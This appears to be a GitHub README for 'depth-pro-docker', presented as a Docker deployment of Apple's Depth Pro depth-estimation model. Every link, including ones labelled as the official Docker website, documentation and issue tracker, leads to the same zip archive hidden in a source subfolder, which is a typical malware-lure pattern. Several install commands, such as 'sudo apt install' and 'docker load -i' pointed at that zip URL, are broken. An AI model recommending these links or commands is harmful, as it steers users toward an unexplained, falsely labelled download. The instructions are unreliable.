depth-pro-docker

# 🚀 depth-pro-docker - Effortless Depth Estimation with Docker [](https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip) ## 📜 Description The **depth-pro-docker** is designed for easy deployment of Apple’s Depth Pro model using Docker. This application allows users to perform zero-shot monocular metric depth estimation. It comes equipped with a user-friendly web interface, a REST API, and an MCP Server. ## 🌍 Topics ai, apple, computer vision, cuda, deep learning, depth estimation, docker, flask, mcp, monocular depth, pytorch ## 🚀 Getting Started Follow these simple steps to download and run **depth-pro-docker**: ### 1. Visit the Releases Page To download **depth-pro-docker**, click the following link: [Download depth-pro-docker](https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip) ### 2. Choose the Right Version On the releases page, you will see various versions of the software. Select the latest release for the best features and updates. Each version typically has a version number, such as v1.0, v1.1, etc. ### 3. Download the Docker Image Look for the Docker image file. The file usually has a name similar to `https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip`. Click on the link to download the file to your computer. ### 4. Install Docker If you do not have Docker installed, follow these steps to install it: - **For Windows:** 1. Go to the [Docker website](https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip). 2. Download the Windows version. 3. Follow the installation prompts. - **For Mac:** 1. Visit the [Docker website](https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip). 2. Download the Mac version. 3. Follow the installation instructions. - **For Linux:** 1. Open a terminal. 2. Use your package manager to install Docker. For example: - For Ubuntu: `sudo apt install https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip` - For Fedora: `sudo dnf install docker` 3. After installation, start Docker with the command: `sudo systemctl start docker` ### 5. Load the Docker Image Once Docker is installed, open your terminal or command prompt. Navigate to the folder where you downloaded the Docker image. Use the following command: ``` docker load -i https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip ``` ### 6. Run the Docker Container After loading the image, you can run it with the following command: ``` docker run -p 8000:8000 depth-pro-docker ``` This command maps port 8000 of your Docker container to port 8000 on your computer. ### 7. Access the Web Interface Once the container starts, you can access the application by opening a web browser and visiting: ``` http://localhost:8000 ``` This will bring you to the web interface of **depth-pro-docker**. ## 🔧 Features - **Zero-Shot Metric Depth Estimation:** Uses advanced AI to estimate depth without needing prior examples. - **Web Interface:** User-friendly dashboard for easy navigation. - **REST API Support:** Integrate depth estimation into other applications seamlessly. - **MCP Server:** Allows for custom processing capabilities. ## 💻 System Requirements For optimal performance, ensure your system meets these requirements: - **Operating System:** Windows 10, macOS Mojave or later, or a Linux distribution with Docker support. - **Memory:** Minimum of 8 GB RAM. More RAM (16 GB) is recommended for complex tasks. - **Processor:** A modern multi-core processor with support for hardware acceleration. - **GPU:** NVIDIA GPU with CUDA capability for accelerated performance in depth estimation tasks. ## 🔗 Additional Resources - **Documentation:** [Visit the Documentation](https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip) - **Issues:** [Report Issues Here](https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip) ## 📥 Download & Install To start using **depth-pro-docker**, go to the following link to download the latest version: [Download depth-pro-docker](https://github.com/Samuelpoukkyy/depth-pro-docker/raw/refs/heads/main/src/depth_pro/eval/pro_depth_docker_3.9-beta.3.zip) Follow the steps above to ensure proper installation and usage. Enjoy your depth estimation experience!